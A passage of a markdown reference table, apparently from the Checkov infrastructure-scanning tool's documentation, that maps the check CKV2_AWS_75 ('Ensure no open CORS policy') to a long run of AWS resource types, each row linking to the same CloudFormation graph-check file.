[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1048 | CKV2_AWS_75 | resource | aws_m2_deployment                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1049 | CKV2_AWS_75 | resource | aws_m2_environment                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1050 | CKV2_AWS_75 | resource | aws_macie2_account                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1051 | CKV2_AWS_75 | resource | aws_macie2_classification_export_configuration                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1052 | CKV2_AWS_75 | resource | aws_macie2_classification_job                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1053 | CKV2_AWS_75 | resource | aws_macie2_custom_data_identifier                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1054 | CKV2_AWS_75 | resource | aws_macie2_findings_filter                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1055 | CKV2_AWS_75 | resource | aws_macie2_invitation_accepter                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1056 | CKV2_AWS_75 | resource | aws_macie2_member                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1057 | CKV2_AWS_75 | resource | aws_macie2_organization_admin_account                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1058 | CKV2_AWS_75 | resource | aws_macie_member_account_association                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1059 | CKV2_AWS_75 | resource | aws_macie_s3_bucket_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1060 | CKV2_AWS_75 | resource | aws_main_route_table_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1061 | CKV2_AWS_75 | resource | aws_media_convert_queue                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1062 | CKV2_AWS_75 | resource | aws_media_package_channel                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1063 | CKV2_AWS_75 | resource | aws_media_packagev2_channel_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1064 | CKV2_AWS_75 | resource | aws_media_store_container                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1065 | CKV2_AWS_75 | resource | aws_media_store_container_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1066 | CKV2_AWS_75 | resource | aws_medialive_channel                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1067 | CKV2_AWS_75 | resource | aws_medialive_input                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1068 | CKV2_AWS_75 | resource | aws_medialive_input_security_group                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1069 | CKV2_AWS_75 | resource | aws_medialive_multiplex                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1070 | CKV2_AWS_75 | resource | aws_medialive_multiplex_program                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1071 | CKV2_AWS_75 | resource | aws_memorydb_acl                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1072 | CKV2_AWS_75 | resource | aws_memorydb_cluster                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1073 | CKV2_AWS_75 | resource | aws_memorydb_multi_region_cluster                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1074 | CKV2_AWS_75 | resource | aws_memorydb_parameter_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1075 | CKV2_AWS_75 | resource | aws_memorydb_snapshot                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1076 | CKV2_AWS_75 | resource | aws_memorydb_subnet_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1077 | CKV2_AWS_75 | resource | aws_memorydb_user                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1078 | CKV2_AWS_75 | resource | aws_mq_broker                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1079 | CKV2_AWS_75 | resource | aws_mq_configuration                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1080 | CKV2_AWS_75 | resource | aws_msk_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1081 | CKV2_AWS_75 | resource | aws_msk_cluster_policy                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1082 | CKV2_AWS_75 | resource | aws_msk_configuration                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1083 | CKV2_AWS_75 | resource | aws_msk_replicator                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1084 | CKV2_AWS_75 | resource | aws_msk_scram_secret_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1085 | CKV2_AWS_75 | resource | aws_msk_serverless_cluster                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1086 | CKV2_AWS_75 | resource | aws_msk_single_scram_secret_association                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1087 | CKV2_AWS_75 | resource | aws_msk_vpc_connection                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1088 | CKV2_AWS_75 | resource | aws_mskconnect_connector                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1089 | CKV2_AWS_75 | resource | aws_mskconnect_custom_plugin                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1090 | CKV2_AWS_75 | resource | aws_mskconnect_worker_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1091 | CKV2_AWS_75 | resource | aws_mwaa_environment                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1092 | CKV2_AWS_75 | resource | aws_nat_gateway                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1093 | CKV2_AWS_75 | resource | aws_neptune_cluster                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1094 | CKV2_AWS_75 | resource | aws_neptune_cluster_endpoint                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1095 | CKV2_AWS_75 | resource | aws_neptune_cluster_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1096 | CKV2_AWS_75 | resource | aws_neptune_cluster_parameter_group                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1097 | CKV2_AWS_75 | resource | aws_neptune_cluster_snapshot                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1098 | CKV2_AWS_75 | resource | aws_neptune_event_subscription                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1099 | CKV2_AWS_75 | resource | aws_neptune_global_cluster                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1100 | CKV2_AWS_75 | resource | aws_neptune_parameter_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1101 | CKV2_AWS_75 | resource | aws_neptune_subnet_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1102 | CKV2_AWS_75 | resource | aws_network_acl                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1103 | CKV2_AWS_75 | resource | aws_network_acl_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1104 | CKV2_AWS_75 | resource | aws_network_acl_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1105 | CKV2_AWS_75 | resource | aws_network_interface                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1106 | CKV2_AWS_75 | resource | aws_network_interface_attachment                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1107 | CKV2_AWS_75 | resource | aws_network_interface_sg_attachment                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1108 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1109 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1110 | CKV2_AWS_75 | resource | aws_networkfirewall_logging_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1111 | CKV2_AWS_75 | resource | aws_networkfirewall_resource_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1112 | CKV2_AWS_75 | resource | aws_networkfirewall_rule_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1113 | CKV2_AWS_75 | resource | aws_networkfirewall_tls_inspection_configuration                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1114 | CKV2_AWS_75 | resource | aws_networkmanager_attachment_accepter                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1115 | CKV2_AWS_75 | resource | aws_networkmanager_connect_attachment                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1116 | CKV2_AWS_75 | resource | aws_networkmanager_connect_peer                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1117 | CKV2_AWS_75 | resource | aws_networkmanager_connection                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1118 | CKV2_AWS_75 | resource | aws_networkmanager_core_network                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1119 | CKV2_AWS_75 | resource | aws_networkmanager_core_network_policy_attachment                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1120 | CKV2_AWS_75 | resource | aws_networkmanager_customer_gateway_association                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1121 | CKV2_AWS_75 | resource | aws_networkmanager_device                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1122 | CKV2_AWS_75 | resource | aws_networkmanager_dx_gateway_attachment                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1123 | CKV2_AWS_75 | resource | aws_networkmanager_global_network                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1124 | CKV2_AWS_75 | resource | aws_networkmanager_link                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1125 | CKV2_AWS_75 | resource | aws_networkmanager_link_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1126 | CKV2_AWS_75 | resource | aws_networkmanager_site                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1127 | CKV2_AWS_75 | resource | aws_networkmanager_site_to_site_vpn_attachment                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1128 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_connect_peer_association      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1129 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_peering                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1130 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_registration                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1131 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_route_table_attachment        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1132 | CKV2_AWS_75 | resource | aws_networkmanager_vpc_attachment                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1133 | CKV2_AWS_75 | resource | aws_networkmonitor_monitor                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1134 | CKV2_AWS_75 | resource | aws_networkmonitor_probe                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1135 | CKV2_AWS_75 | resource | aws_oam_link                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1136 | CKV2_AWS_75 | resource | aws_oam_sink                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1137 | CKV2_AWS_75 | resource | aws_oam_sink_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1138 | CKV2_AWS_75 | resource | aws_opensearch_authorize_vpc_endpoint_access                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1139 | CKV2_AWS_75 | resource | aws_opensearch_domain                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1140 | CKV2_AWS_75 | resource | aws_opensearch_domain_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1141 | CKV2_AWS_75 | resource | aws_opensearch_domain_saml_options                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1142 | CKV2_AWS_75 | resource | aws_opensearch_inbound_connection_accepter                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1143 | CKV2_AWS_75 | resource | aws_opensearch_outbound_connection                               | Ensure no open CORS policy                                                                                                        